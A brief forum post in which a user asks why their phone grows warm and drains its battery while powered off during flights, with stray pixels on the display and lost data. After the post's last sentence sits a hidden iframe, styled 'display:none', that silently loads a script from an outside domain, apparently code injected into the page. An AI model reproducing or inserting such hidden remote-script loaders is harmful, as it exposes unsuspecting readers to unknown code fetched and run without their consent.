I am having problems with the phone getting warm and draining the battery even with the phone turned off. This has happened twice. Both time was on a coast to coast flight. I would turn the phone off for the flight, but the case would get warn during the flight and continue even after landing until the battery was complete drained. This caused me to lose all my info twice. During this high battery drain period the display also showed some anomalies like stray pixels light that should not be or vice versa. Has anyone had this happen or have any suggestion what is going on?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
